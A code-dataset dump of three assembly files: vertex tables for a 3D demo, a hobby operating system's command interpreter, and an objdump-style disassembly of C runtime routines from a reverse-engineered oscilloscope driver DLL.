83012e6a08afc4e87f856061acd2167926e2f582 | 3,756 | asm | Assembly | src/objects.asm | BlockoS/up-17 | 3eec0f7495b784e77a869cb9a9fa4e08c4382302 | [
"BSD-3-Clause"
] | 3 | 2017-02-22T06:33:32.000Z | 2017-02-23T05:26:26.000Z | src/objects.asm | BlockoS/up-17 | 3eec0f7495b784e77a869cb9a9fa4e08c4382302 | [
"BSD-3-Clause"
] | null | null | null | src/objects.asm | BlockoS/up-17 | 3eec0f7495b784e77a869cb9a9fa4e08c4382302 | [
"BSD-3-Clause"
] | null | null | null | obj_x:
.dw sphere_x, heart_x, torus_x
obj_y:
.dw sphere_y, heart_y, torus_y
obj_z:
.dw sphere_z, heart_z, torus_z
sphere_x:
.db 00,13,17,20,22,22,22,20,17,14,10,05,00,-6,-12,-18
.db -23,-29,-35,-40,-44,-48,-51,-53,-55,-55,-54,-52,-50,-46,-41,-36
.db -30,-23,-16,-8,00,08,16,24,31,38,44,50,54,58,61,62
.db 63,62,61,58,54,50,44,38,31,24,16,08,00,-8,-16,-23
.db -30,-36,-41,-46,-50,-52,-54,-55,-55,-53,-51,-48,-44,-40,-35,-29
.db -23,-18,-12,-6,00,05,10,14,17,20,22,22,22,20,17,13
sphere_y:
.db 00,02,05,08,13,17,22,26,30,34,37,40,42,43,43,42
.db 41,38,35,31,26,20,14,07,00,-7,-14,-22,-29,-35,-41,-47
.db -51,-55,-58,-60,-61,-61,-60,-57,-54,-49,-44,-38,-31,-24,-16,-8
.db 00,08,16,24,31,38,44,49,54,57,60,61,61,60,58,55
.db 51,47,41,35,29,22,14,07,00,-7,-14,-20,-26,-31,-35,-38
.db -41,-42,-43,-43,-42,-40,-37,-34,-30,-26,-22,-17,-13,-8,-5,-2
sphere_z:
.db -63,-62,-60,-59,-58,-56,-55,-54,-53,-51,-50,-49,-47,-46,-45,-43
.db -42,-41,-39,-38,-37,-35,-34,-33,-32,-30,-29,-28,-26,-25,-24,-22
.db -21,-20,-18,-17,-16,-14,-13,-12,-11,-9,-8,-7,-5,-4,-3,-1
.db 00,01,03,04,05,07,08,09,11,12,13,14,16,17,18,20
.db 21,22,24,25,26,28,29,30,32,33,34,35,37,38,39,41
.db 42,43,45,46,47,49,50,51,53,54,55,56,58,59,60,62
heart_x:
.db $00,$00,$fc,$f6,$ee,$e7,$e4,$e7,$ee,$f6,$fc,$00,$00,$00,$04,$0a
.db $12,$19,$1c,$19,$12,$0a,$04,$00,$00,$ff,$f8,$eb,$d9,$ca,$c4,$ca
.db $d9,$eb,$f8,$ff,$00,$01,$08,$15,$27,$36,$3c,$36,$27,$15,$08,$01
.db $00,$ff,$f8,$eb,$d9,$ca,$c4,$ca,$d9,$eb,$f8,$ff,$00,$01,$08,$15
.db $27,$36,$3c,$36,$27,$15,$08,$01,$00,$00,$fc,$f6,$ee,$e7,$e4,$e7
.db $ee,$f6,$fc,$00,$00,$00,$04,$0a,$12,$19,$1c,$19,$12,$0a,$04,$00
heart_y:
.db $1e,$1c,$17,$11,$0a,$02,$f9,$f1,$ec,$ec,$f0,$f5,$f7,$f5,$f0,$ec
.db $ec,$f1,$f9,$02,$0a,$11,$17,$1c,$40,$3c,$32,$24,$15,$04,$f1,$e0
.db $d5,$d4,$dd,$e8,$ed,$e8,$dd,$d4,$d5,$e0,$f1,$04,$15,$24,$32,$3c
.db $40,$3c,$32,$24,$15,$04,$f1,$e0,$d5,$d4,$dd,$e8,$ed,$e8,$dd,$d4
.db $d5,$e0,$f1,$04,$15,$24,$32,$3c,$1e,$1c,$17,$11,$0a,$02,$f9,$f1
.db $ec,$ec,$f0,$f5,$f7,$f5,$f0,$ec,$ec,$f1,$f9,$02,$0a,$11,$17,$1c
heart_z:
.db $f0,$f0,$f0,$f0,$f0,$f0,$f0,$f0,$f0,$f0,$f0,$f0,$f0,$f0,$f0,$f0
.db $f0,$f0,$f0,$f0,$f0,$f0,$f0,$f0,$f8,$f8,$f8,$f8,$f8,$f8,$f8,$f8
.db $f8,$f8,$f8,$f8,$f8,$f8,$f8,$f8,$f8,$f8,$f8,$f8,$f8,$f8,$f8,$f8
.db $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00
.db $00,$00,$00,$00,$00,$00,$00,$00,$08,$08,$08,$08,$08,$08,$08,$08
.db $08,$08,$08,$08,$08,$08,$08,$08,$08,$08,$08,$08,$08,$08,$08,$08
torus_x:
.db 56,53,44,33,25,23,27,34,42,46,44,37,28,20,15,14
.db 16,19,20,18,14,09,05,02,00,-2,-5,-9,-14,-18,-20,-19
.db -16,-14,-15,-20,-28,-37,-44,-46,-42,-34,-27,-23,-25,-33,-44,-53
.db -56,-53,-44,-33,-25,-23,-27,-34,-42,-46,-44,-37,-28,-20,-15,-14
.db -16,-19,-20,-18,-14,-9,-5,-2,00,02,05,09,14,18,20,19
.db 16,14,15,20,28,37,44,46,42,34,27,23,25,33,44,53
torus_y:
.db 00,03,06,07,07,08,11,17,24,30,34,33,28,23,19,21
.db 28,38,47,53,52,45,36,27,24,27,36,45,52,53,47,38
.db 28,21,19,23,28,33,34,30,24,17,11,08,07,07,06,03
.db 00,-3,-6,-7,-7,-8,-11,-17,-24,-30,-34,-33,-28,-23,-19,-21
.db -28,-38,-47,-53,-52,-45,-36,-27,-24,-27,-36,-45,-52,-53,-47,-38
.db -28,-21,-19,-23,-28,-33,-34,-30,-24,-17,-11,-8,-7,-7,-6,-3
torus_z:
.db 00,10,15,15,08,-2,-11,-16,-14,-6,04,13,16,13,04,-6
.db -14,-16,-11,-2,08,15,15,10,00,-10,-15,-15,-8,02,11,16
.db 14,06,-4,-13,-16,-13,-4,06,14,16,11,02,-8,-15,-15,-10
.db 00,10,15,15,08,-2,-11,-16,-14,-6,04,13,16,13,04,-6
.db -14,-16,-11,-2,08,15,15,10,00,-10,-15,-15,-8,02,11,16
.db 14,06,-4,-13,-16,-13,-4,06,14,16,11,02,-8,-15,-15,-10
| 51.452055 | 71 | 0.516507 |
98b0cd2ba618fbfe1d326202f025a726ae955e9b | 6,725 | asm | Assembly | Samveen's example OS/seos/interpret.asm | samveen/teasers | a474239555aa984dac4f1f4be1163e33ae205aff | [
"BSD-2-Clause"
] | null | null | null | Samveen's example OS/seos/interpret.asm | samveen/teasers | a474239555aa984dac4f1f4be1163e33ae205aff | [
"BSD-2-Clause"
] | null | null | null | Samveen's example OS/seos/interpret.asm | samveen/teasers | a474239555aa984dac4f1f4be1163e33ae205aff | [
"BSD-2-Clause"
] | null | null | null | ; Code for the main command interpreter executable
; Copyright (c) 2003 onwards, Samveen S. Gulati
; The SEOS executable format lacks a signature
; This is purely machine instructions and data
jmp _main
start_interpreter_byte db 0xFF
; this is the commands table
; it is used both for parsing the commands as well as the help string
; to display for the help command
command_table_start:
command_table_clear db "clear", ": clears the screen" , 0xd ; help_string + newline
command_table_exit db "exit ", ": exits from the interpreter" , 0xd ; help_string + newline
command_table_help db "help ", ": help for commands" , 0xd ; help_string + newline
command_table_pgup db "pgup ", ": show previous screenful of output", 0xd ; help_string + newline
command_table_reset db "reset", ": reset the system(soft)" , 0xd ; help_string + newline
command_table_exec db "exec ", ": execute a file" , 0xd ; help_string + newline
command_table_list db "list ", ": list files on fs" , 0xd ; help_string + newline
command_table_type db "type ", ": load a file and display it" , 0xd ; help_string + newline
command_table_end db 0
;data
command_prompt db "SEOS :",0
command_line:
times 255 db 0x00
file_name_prompt db "File Name :",0
file_name:
times 64 db 0x00
unknown_command_message db "unknown command",0xd,0
not_found_string db " not found",0xd,0
not_exec_string db " not executable",0xd,0
; the main command interpreter
_main:
push cs
pop ds
loop_main: ; The main loop
mov ah,5
mov edx,command_prompt
int 40h
mov edx, command_line
mov cl, 254
mov ah,1
int 41h
call parse_command_line
call exec_command_line
cmp cl,0
jnz loop_main
retf
;---------------------------------
; function to parse the command line that is convert the string
; in command_line to a number that is then passed to the
; exec_command_line function
; leaves the returned value in dx
parse_command_line:
cmp byte [command_line], 0
jnz parse_command_line_not_null
mov dx, 0
jmp parse_command_line_cleanup
parse_command_line_not_null:
mov si, command_line
lodsd
;test for commands
cmp dword [command_table_clear], eax
jz parse_command_line_clear_command
cmp dword [command_table_exit], eax
jz parse_command_line_exit_command
cmp dword [command_table_help], eax
jz parse_command_line_help_command
cmp dword [command_table_pgup], eax
jz parse_command_line_pgup_command
cmp dword [command_table_reset], eax
jz parse_command_line_reset_command
cmp dword [command_table_exec], eax
jz parse_command_line_exec_command
cmp dword [command_table_list],eax
jz parse_command_line_list_command
cmp dword [command_table_type],eax
jz parse_command_line_type_command
mov dx, -1
jmp parse_command_line_cleanup
parse_command_line_clear_command:
mov dx, 1
jmp parse_command_line_cleanup
parse_command_line_exit_command:
mov dx, 2
jmp parse_command_line_cleanup
parse_command_line_help_command:
mov dx, 3
jmp parse_command_line_cleanup
parse_command_line_pgup_command:
mov dx ,4
jmp parse_command_line_cleanup
parse_command_line_reset_command:
mov dx ,5
jmp parse_command_line_cleanup
parse_command_line_exec_command:
mov dx ,6
jmp parse_command_line_cleanup
parse_command_line_list_command:
mov dx ,7
jmp parse_command_line_cleanup
parse_command_line_type_command:
mov dx ,8
jmp parse_command_line_cleanup
parse_command_line_cleanup:
ret
;---------------------------------
;---------------------------------
; function to exec the command line that is has been
; parsed by the parse_command_line function into a number
retval db 0h
exec_command_line:
mov [retval],1
cmp dx,1
jb exec_command_line_cleanup
je exec_command_line_clear_command
cmp dx,3
jb exec_command_line_exit_command
je exec_command_line_help_command
cmp dx,5
jb exec_command_line_pgup_command
je exec_command_line_reset_command
cmp dx,7
jb exec_command_line_exec_command
je exec_command_line_list_command
cmp dx,9
jb exec_command_line_type_command
mov edx, unknown_command_message
mov ah,5
int 40h
jmp exec_command_line_cleanup
exec_command_line_clear_command:
xor ah, ah
int 40h
jmp exec_command_line_cleanup
exec_command_line_exit_command:
mov [retval],0
jmp exec_command_line_cleanup
exec_command_line_help_command:
mov edx,command_table_start
mov ah, 5
int 40h
jmp exec_command_line_cleanup
exec_command_line_pgup_command:
mov ah,7 ;call show_command_history
int 40h
mov ah,0
int 41h
mov ah,6
int 40h
jmp exec_command_line_cleanup
exec_command_line_reset_command:
int 19h
jmp exec_command_line_cleanup
exec_command_line_exec_command:
mov ah,5
mov edx,file_name_prompt
int 40h
mov edx, file_name
mov cl, 63
mov ah,1
int 41h
cmp byte [file_name] , 0
jz exec_command_line_exec_command_end
mov ebx, 0 ; ebx = offset
mov cx,7000h ; buffer segment ; 16 bit
mov ah,2 ; load file
int 42h
cmp cx, 0
jnz exec_command_line_exec_command_found
mov edx, file_name
mov ah,5
int 40h
cmp al, 0
jnz exec_command_line_exec_command_not_exec
mov ah,5
mov edx, not_found_string
int 40h
jmp exec_command_line_exec_command_end
exec_command_line_exec_command_not_exec:
mov ah,5
mov edx, not_exec_string
int 40h
jmp exec_command_line_exec_command_end
exec_command_line_exec_command_found:
push ds
call far 7000h:0000
pop ds
exec_command_line_exec_command_end:
jmp exec_command_line_cleanup
exec_command_line_list_command:
mov ah,1
int 42h
jmp exec_command_line_cleanup
exec_command_line_type_command:
mov ah,5
mov edx,file_name_prompt
int 40h
mov edx, file_name
mov cl, 63
mov ah,1
int 41h
cmp byte [file_name] , 0
jz exec_command_line_type_command_end
mov ebx, 0 ; ebx = offset
mov cx,7000h ; buffer segment ; 16 bit
mov ah,3 ; load file
int 42h
cmp cx, 0
jnz exec_command_line_type_command_found
mov edx, file_name
mov ah,5
int 40h
mov ah,5
mov edx, not_found_string
int 40h
jmp exec_command_line_type_command_end
exec_command_line_type_command_found:
push ds
; set source
push 7000h
pop ds
mov esi, 0000
;count is in cx
cld
display_loop:
lodsb
mov ah,4
int 40h
loop display_loop
pop ds
exec_command_line_type_command_end:
jmp exec_command_line_cleanup
exec_command_line_cleanup:
mov cl, [retval]
ret
;---------------------------------
;last data
end_interpreter_byte db 0xFF
| 20.628834 | 99 | 0.731599 |
3185a4c55a6057f80533fce2666f2443b9c5e77b | 37,033 | asm | Assembly | library/02_functions_batch1/unknown_10008a80.asm | SamantazFox/dds140-reverse-engineering | 4c8c286ffc20f2ee07061c83b0a0a68204d90148 | [
"Unlicense"
] | 1 | 2021-06-05T23:41:15.000Z | 2021-06-05T23:41:15.000Z | library/02_functions_batch1/unknown_10008a80.asm | SamantazFox/dds140-reverse-engineering | 4c8c286ffc20f2ee07061c83b0a0a68204d90148 | [
"Unlicense"
] | null | null | null | library/02_functions_batch1/unknown_10008a80.asm | SamantazFox/dds140-reverse-engineering | 4c8c286ffc20f2ee07061c83b0a0a68204d90148 | [
"Unlicense"
] | null | null | null | 10008a80: 55 push ebp
10008a81: 8b ec mov ebp,esp
10008a83: 6a fe push 0xfffffffe
10008a85: 68 68 e5 00 10 push 0x1000e568
10008a8a: 68 90 58 00 10 push 0x10005890
10008a8f: 64 a1 00 00 00 00 mov eax,fs:0x0
10008a95: 50 push eax
10008a96: 83 ec 08 sub esp,0x8
10008a99: 53 push ebx
10008a9a: 56 push esi
10008a9b: 57 push edi
10008a9c: a1 10 00 01 10 mov eax,ds:0x10010010
10008aa1: 31 45 f8 xor DWORD PTR [ebp-0x8],eax
10008aa4: 33 c5 xor eax,ebp
10008aa6: 50 push eax
10008aa7: 8d 45 f0 lea eax,[ebp-0x10]
10008aaa: 64 a3 00 00 00 00 mov fs:0x0,eax
10008ab0: 89 65 e8 mov DWORD PTR [ebp-0x18],esp
10008ab3: c7 45 fc 00 00 00 00 mov DWORD PTR [ebp-0x4],0x0
10008aba: 68 00 00 00 10 push 0x10000000
10008abf: e8 3c ff ff ff call 0x10008a00
10008ac4: 83 c4 04 add esp,0x4
10008ac7: 85 c0 test eax,eax
10008ac9: 74 55 je 0x10008b20
10008acb: 8b 45 08 mov eax,DWORD PTR [ebp+0x8]
10008ace: 2d 00 00 00 10 sub eax,0x10000000
10008ad3: 50 push eax
10008ad4: 68 00 00 00 10 push 0x10000000
10008ad9: e8 52 ff ff ff call 0x10008a30
10008ade: 83 c4 08 add esp,0x8
10008ae1: 85 c0 test eax,eax
10008ae3: 74 3b je 0x10008b20
10008ae5: 8b 40 24 mov eax,DWORD PTR [eax+0x24]
10008ae8: c1 e8 1f shr eax,0x1f
10008aeb: f7 d0 not eax
10008aed: 83 e0 01 and eax,0x1
10008af0: c7 45 fc fe ff ff ff mov DWORD PTR [ebp-0x4],0xfffffffe
10008af7: 8b 4d f0 mov ecx,DWORD PTR [ebp-0x10]
10008afa: 64 89 0d 00 00 00 00 mov DWORD PTR fs:0x0,ecx
10008b01: 59 pop ecx
10008b02: 5f pop edi
10008b03: 5e pop esi
10008b04: 5b pop ebx
10008b05: 8b e5 mov esp,ebp
10008b07: 5d pop ebp
10008b08: c3 ret
10008b09: 8b 45 ec mov eax,DWORD PTR [ebp-0x14]
10008b0c: 8b 08 mov ecx,DWORD PTR [eax]
10008b0e: 8b 01 mov eax,DWORD PTR [ecx]
10008b10: 33 d2 xor edx,edx
10008b12: 3d 05 00 00 c0 cmp eax,0xc0000005
10008b17: 0f 94 c2 sete dl
10008b1a: 8b c2 mov eax,edx
10008b1c: c3 ret
10008b1d: 8b 65 e8 mov esp,DWORD PTR [ebp-0x18]
10008b20: c7 45 fc fe ff ff ff mov DWORD PTR [ebp-0x4],0xfffffffe
10008b27: 33 c0 xor eax,eax
10008b29: 8b 4d f0 mov ecx,DWORD PTR [ebp-0x10]
10008b2c: 64 89 0d 00 00 00 00 mov DWORD PTR fs:0x0,ecx
10008b33: 59 pop ecx
10008b34: 5f pop edi
10008b35: 5e pop esi
10008b36: 5b pop ebx
10008b37: 8b e5 mov esp,ebp
10008b39: 5d pop ebp
10008b3a: c3 ret
10008b3b: 51 push ecx
10008b3c: 53 push ebx
10008b3d: 55 push ebp
10008b3e: 56 push esi
10008b3f: 57 push edi
10008b40: ff 35 c8 5d 01 10 push DWORD PTR ds:0x10015dc8
10008b46: e8 c3 d5 ff ff call 0x1000610e
10008b4b: ff 35 c4 5d 01 10 push DWORD PTR ds:0x10015dc4
10008b51: 8b f0 mov esi,eax
10008b53: 89 74 24 18 mov DWORD PTR [esp+0x18],esi
10008b57: e8 b2 d5 ff ff call 0x1000610e
10008b5c: 8b f8 mov edi,eax
10008b5e: 3b fe cmp edi,esi
10008b60: 59 pop ecx
10008b61: 59 pop ecx
10008b62: 0f 82 84 00 00 00 jb 0x10008bec
10008b68: 8b df mov ebx,edi
10008b6a: 2b de sub ebx,esi
10008b6c: 8d 6b 04 lea ebp,[ebx+0x4]
10008b6f: 83 fd 04 cmp ebp,0x4
10008b72: 72 78 jb 0x10008bec
10008b74: 56 push esi
10008b75: e8 c5 39 00 00 call 0x1000c53f
10008b7a: 8b f0 mov esi,eax
10008b7c: 3b f5 cmp esi,ebp
10008b7e: 59 pop ecx
10008b7f: 73 4a jae 0x10008bcb
10008b81: b8 00 08 00 00 mov eax,0x800
10008b86: 3b f0 cmp esi,eax
10008b88: 73 02 jae 0x10008b8c
10008b8a: 8b c6 mov eax,esi
10008b8c: 03 c6 add eax,esi
10008b8e: 3b c6 cmp eax,esi
10008b90: 72 10 jb 0x10008ba2
10008b92: 50 push eax
10008b93: ff 74 24 14 push DWORD PTR [esp+0x14]
10008b97: e8 3c db ff ff call 0x100066d8
10008b9c: 85 c0 test eax,eax
10008b9e: 59 pop ecx
10008b9f: 59 pop ecx
10008ba0: 75 17 jne 0x10008bb9
10008ba2: 8d 46 10 lea eax,[esi+0x10]
10008ba5: 3b c6 cmp eax,esi
10008ba7: 72 43 jb 0x10008bec
10008ba9: 50 push eax
10008baa: ff 74 24 14 push DWORD PTR [esp+0x14]
10008bae: e8 25 db ff ff call 0x100066d8
10008bb3: 85 c0 test eax,eax
10008bb5: 59 pop ecx
10008bb6: 59 pop ecx
10008bb7: 74 33 je 0x10008bec
10008bb9: c1 fb 02 sar ebx,0x2
10008bbc: 50 push eax
10008bbd: 8d 3c 98 lea edi,[eax+ebx*4]
10008bc0: e8 d2 d4 ff ff call 0x10006097
10008bc5: 59 pop ecx
10008bc6: a3 c8 5d 01 10 mov ds:0x10015dc8,eax
10008bcb: ff 74 24 18 push DWORD PTR [esp+0x18]
10008bcf: e8 c3 d4 ff ff call 0x10006097
10008bd4: 89 07 mov DWORD PTR [edi],eax
10008bd6: 83 c7 04 add edi,0x4
10008bd9: 57 push edi
10008bda: e8 b8 d4 ff ff call 0x10006097
10008bdf: 59 pop ecx
10008be0: a3 c4 5d 01 10 mov ds:0x10015dc4,eax
10008be5: 8b 44 24 1c mov eax,DWORD PTR [esp+0x1c]
10008be9: 59 pop ecx
10008bea: eb 02 jmp 0x10008bee
10008bec: 33 c0 xor eax,eax
10008bee: 5f pop edi
10008bef: 5e pop esi
10008bf0: 5d pop ebp
10008bf1: 5b pop ebx
10008bf2: 59 pop ecx
10008bf3: c3 ret
10008bf4: 56 push esi
10008bf5: 6a 04 push 0x4
10008bf7: 6a 20 push 0x20
10008bf9: e8 92 da ff ff call 0x10006690
10008bfe: 8b f0 mov esi,eax
10008c00: 56 push esi
10008c01: e8 91 d4 ff ff call 0x10006097
10008c06: 83 c4 0c add esp,0xc
10008c09: 85 f6 test esi,esi
10008c0b: a3 c8 5d 01 10 mov ds:0x10015dc8,eax
10008c10: a3 c4 5d 01 10 mov ds:0x10015dc4,eax
10008c15: 75 05 jne 0x10008c1c
10008c17: 6a 18 push 0x18
10008c19: 58 pop eax
10008c1a: 5e pop esi
10008c1b: c3 ret
10008c1c: 83 26 00 and DWORD PTR [esi],0x0
10008c1f: 33 c0 xor eax,eax
10008c21: 5e pop esi
10008c22: c3 ret
10008c23: 6a 0c push 0xc
10008c25: 68 88 e5 00 10 push 0x1000e588
10008c2a: e8 f9 cb ff ff call 0x10005828
10008c2f: e8 51 ce ff ff call 0x10005a85
10008c34: 83 65 fc 00 and DWORD PTR [ebp-0x4],0x0
10008c38: ff 75 08 push DWORD PTR [ebp+0x8]
10008c3b: e8 fb fe ff ff call 0x10008b3b
10008c40: 59 pop ecx
10008c41: 89 45 e4 mov DWORD PTR [ebp-0x1c],eax
10008c44: c7 45 fc fe ff ff ff mov DWORD PTR [ebp-0x4],0xfffffffe
10008c4b: e8 09 00 00 00 call 0x10008c59
10008c50: 8b 45 e4 mov eax,DWORD PTR [ebp-0x1c]
10008c53: e8 15 cc ff ff call 0x1000586d
10008c58: c3 ret
10008c59: e8 30 ce ff ff call 0x10005a8e
10008c5e: c3 ret
10008c5f: ff 74 24 04 push DWORD PTR [esp+0x4]
10008c63: e8 bb ff ff ff call 0x10008c23
10008c68: f7 d8 neg eax
10008c6a: 1b c0 sbb eax,eax
10008c6c: f7 d8 neg eax
10008c6e: 59 pop ecx
10008c6f: 48 dec eax
10008c70: c3 ret
10008c71: 6a 08 push 0x8
10008c73: 68 a8 e5 00 10 push 0x1000e5a8
10008c78: e8 ab cb ff ff call 0x10005828
10008c7d: e8 a8 d6 ff ff call 0x1000632a
10008c82: 8b 40 78 mov eax,DWORD PTR [eax+0x78]
10008c85: 85 c0 test eax,eax
10008c87: 74 16 je 0x10008c9f
10008c89: 83 65 fc 00 and DWORD PTR [ebp-0x4],0x0
10008c8d: ff d0 call eax
10008c8f: eb 07 jmp 0x10008c98
10008c91: 33 c0 xor eax,eax
10008c93: 40 inc eax
10008c94: c3 ret
10008c95: 8b 65 e8 mov esp,DWORD PTR [ebp-0x18]
10008c98: c7 45 fc fe ff ff ff mov DWORD PTR [ebp-0x4],0xfffffffe
10008c9f: e8 3e 39 00 00 call 0x1000c5e2
10008ca4: e8 c4 cb ff ff call 0x1000586d
10008ca9: c3 ret
10008caa: 68 71 8c 00 10 push 0x10008c71
10008caf: e8 e3 d3 ff ff call 0x10006097
10008cb4: 59 pop ecx
10008cb5: a3 a0 5b 01 10 mov ds:0x10015ba0,eax
10008cba: c3 ret
10008cbb: 8b 44 24 04 mov eax,DWORD PTR [esp+0x4]
10008cbf: a3 a4 5b 01 10 mov ds:0x10015ba4,eax
10008cc4: a3 a8 5b 01 10 mov ds:0x10015ba8,eax
10008cc9: a3 ac 5b 01 10 mov ds:0x10015bac,eax
10008cce: a3 b0 5b 01 10 mov ds:0x10015bb0,eax
10008cd3: c3 ret
10008cd4: 8b 44 24 04 mov eax,DWORD PTR [esp+0x4]
10008cd8: 8b 0d 64 04 01 10 mov ecx,DWORD PTR ds:0x10010464
10008cde: 56 push esi
10008cdf: 39 50 04 cmp DWORD PTR [eax+0x4],edx
10008ce2: 74 10 je 0x10008cf4
10008ce4: 8b f1 mov esi,ecx
10008ce6: 6b f6 0c imul esi,esi,0xc
10008ce9: 03 74 24 08 add esi,DWORD PTR [esp+0x8]
10008ced: 83 c0 0c add eax,0xc
10008cf0: 3b c6 cmp eax,esi
10008cf2: 72 eb jb 0x10008cdf
10008cf4: 6b c9 0c imul ecx,ecx,0xc
10008cf7: 03 4c 24 08 add ecx,DWORD PTR [esp+0x8]
10008cfb: 5e pop esi
10008cfc: 3b c1 cmp eax,ecx
10008cfe: 73 05 jae 0x10008d05
10008d00: 39 50 04 cmp DWORD PTR [eax+0x4],edx
10008d03: 74 02 je 0x10008d07
10008d05: 33 c0 xor eax,eax
10008d07: c3 ret
10008d08: ff 35 ac 5b 01 10 push DWORD PTR ds:0x10015bac
10008d0e: e8 fb d3 ff ff call 0x1000610e
10008d13: 59 pop ecx
10008d14: c3 ret
10008d15: 6a 20 push 0x20
10008d17: 68 c8 e5 00 10 push 0x1000e5c8
10008d1c: e8 07 cb ff ff call 0x10005828
10008d21: 33 ff xor edi,edi
10008d23: 89 7d e4 mov DWORD PTR [ebp-0x1c],edi
10008d26: 89 7d d8 mov DWORD PTR [ebp-0x28],edi
10008d29: 8b 5d 08 mov ebx,DWORD PTR [ebp+0x8]
10008d2c: 83 fb 0b cmp ebx,0xb
10008d2f: 7f 4c jg 0x10008d7d
10008d31: 74 15 je 0x10008d48
10008d33: 8b c3 mov eax,ebx
10008d35: 6a 02 push 0x2
10008d37: 59 pop ecx
10008d38: 2b c1 sub eax,ecx
10008d3a: 74 22 je 0x10008d5e
10008d3c: 2b c1 sub eax,ecx
10008d3e: 74 08 je 0x10008d48
10008d40: 2b c1 sub eax,ecx
10008d42: 74 64 je 0x10008da8
10008d44: 2b c1 sub eax,ecx
10008d46: 75 44 jne 0x10008d8c
10008d48: e8 66 d5 ff ff call 0x100062b3
10008d4d: 8b f8 mov edi,eax
10008d4f: 89 7d d8 mov DWORD PTR [ebp-0x28],edi
10008d52: 85 ff test edi,edi
10008d54: 75 14 jne 0x10008d6a
10008d56: 83 c8 ff or eax,0xffffffff
10008d59: e9 61 01 00 00 jmp 0x10008ebf
10008d5e: be a4 5b 01 10 mov esi,0x10015ba4
10008d63: a1 a4 5b 01 10 mov eax,ds:0x10015ba4
10008d68: eb 60 jmp 0x10008dca
10008d6a: ff 77 5c push DWORD PTR [edi+0x5c]
10008d6d: 8b d3 mov edx,ebx
10008d6f: e8 60 ff ff ff call 0x10008cd4
10008d74: 8b f0 mov esi,eax
10008d76: 83 c6 08 add esi,0x8
10008d79: 8b 06 mov eax,DWORD PTR [esi]
10008d7b: eb 5a jmp 0x10008dd7
10008d7d: 8b c3 mov eax,ebx
10008d7f: 83 e8 0f sub eax,0xf
10008d82: 74 3c je 0x10008dc0
10008d84: 83 e8 06 sub eax,0x6
10008d87: 74 2b je 0x10008db4
10008d89: 48 dec eax
10008d8a: 74 1c je 0x10008da8
10008d8c: e8 b5 bc ff ff call 0x10004a46
10008d91: c7 00 16 00 00 00 mov DWORD PTR [eax],0x16
10008d97: 33 c0 xor eax,eax
10008d99: 50 push eax
10008d9a: 50 push eax
10008d9b: 50 push eax
10008d9c: 50 push eax
10008d9d: 50 push eax
10008d9e: e8 d3 ed ff ff call 0x10007b76
10008da3: 83 c4 14 add esp,0x14
10008da6: eb ae jmp 0x10008d56
10008da8: be ac 5b 01 10 mov esi,0x10015bac
10008dad: a1 ac 5b 01 10 mov eax,ds:0x10015bac
10008db2: eb 16 jmp 0x10008dca
10008db4: be a8 5b 01 10 mov esi,0x10015ba8
10008db9: a1 a8 5b 01 10 mov eax,ds:0x10015ba8
10008dbe: eb 0a jmp 0x10008dca
10008dc0: be b0 5b 01 10 mov esi,0x10015bb0
10008dc5: a1 b0 5b 01 10 mov eax,ds:0x10015bb0
10008dca: c7 45 e4 01 00 00 00 mov DWORD PTR [ebp-0x1c],0x1
10008dd1: 50 push eax
10008dd2: e8 37 d3 ff ff call 0x1000610e
10008dd7: 89 45 e0 mov DWORD PTR [ebp-0x20],eax
10008dda: 59 pop ecx
10008ddb: 33 c0 xor eax,eax
10008ddd: 83 7d e0 01 cmp DWORD PTR [ebp-0x20],0x1
10008de1: 0f 84 d8 00 00 00 je 0x10008ebf
10008de7: 39 45 e0 cmp DWORD PTR [ebp-0x20],eax
10008dea: 75 07 jne 0x10008df3
10008dec: 6a 03 push 0x3
10008dee: e8 c3 ce ff ff call 0x10005cb6
10008df3: 39 45 e4 cmp DWORD PTR [ebp-0x1c],eax
10008df6: 74 07 je 0x10008dff
10008df8: 50 push eax
10008df9: e8 fa be ff ff call 0x10004cf8
10008dfe: 59 pop ecx
10008dff: 33 c0 xor eax,eax
10008e01: 89 45 fc mov DWORD PTR [ebp-0x4],eax
10008e04: 83 fb 08 cmp ebx,0x8
10008e07: 74 0a je 0x10008e13
10008e09: 83 fb 0b cmp ebx,0xb
10008e0c: 74 05 je 0x10008e13
10008e0e: 83 fb 04 cmp ebx,0x4
10008e11: 75 1b jne 0x10008e2e
10008e13: 8b 4f 60 mov ecx,DWORD PTR [edi+0x60]
10008e16: 89 4d d4 mov DWORD PTR [ebp-0x2c],ecx
10008e19: 89 47 60 mov DWORD PTR [edi+0x60],eax
10008e1c: 83 fb 08 cmp ebx,0x8
10008e1f: 75 40 jne 0x10008e61
10008e21: 8b 4f 64 mov ecx,DWORD PTR [edi+0x64]
10008e24: 89 4d d0 mov DWORD PTR [ebp-0x30],ecx
10008e27: c7 47 64 8c 00 00 00 mov DWORD PTR [edi+0x64],0x8c
10008e2e: 83 fb 08 cmp ebx,0x8
10008e31: 75 2e jne 0x10008e61
10008e33: 8b 0d 58 04 01 10 mov ecx,DWORD PTR ds:0x10010458
10008e39: 89 4d dc mov DWORD PTR [ebp-0x24],ecx
10008e3c: 8b 0d 5c 04 01 10 mov ecx,DWORD PTR ds:0x1001045c
10008e42: 8b 15 58 04 01 10 mov edx,DWORD PTR ds:0x10010458
10008e48: 03 ca add ecx,edx
10008e4a: 39 4d dc cmp DWORD PTR [ebp-0x24],ecx
10008e4d: 7d 19 jge 0x10008e68
10008e4f: 8b 4d dc mov ecx,DWORD PTR [ebp-0x24]
10008e52: 6b c9 0c imul ecx,ecx,0xc
10008e55: 8b 57 5c mov edx,DWORD PTR [edi+0x5c]
10008e58: 89 44 11 08 mov DWORD PTR [ecx+edx*1+0x8],eax
10008e5c: ff 45 dc inc DWORD PTR [ebp-0x24]
10008e5f: eb db jmp 0x10008e3c
10008e61: e8 9f d2 ff ff call 0x10006105
10008e66: 89 06 mov DWORD PTR [esi],eax
10008e68: c7 45 fc fe ff ff ff mov DWORD PTR [ebp-0x4],0xfffffffe
10008e6f: e8 15 00 00 00 call 0x10008e89
10008e74: 83 fb 08 cmp ebx,0x8
10008e77: 75 1f jne 0x10008e98
10008e79: ff 77 64 push DWORD PTR [edi+0x64]
10008e7c: 53 push ebx
10008e7d: ff 55 e0 call DWORD PTR [ebp-0x20]
10008e80: 59 pop ecx
10008e81: eb 19 jmp 0x10008e9c
10008e83: 8b 5d 08 mov ebx,DWORD PTR [ebp+0x8]
10008e86: 8b 7d d8 mov edi,DWORD PTR [ebp-0x28]
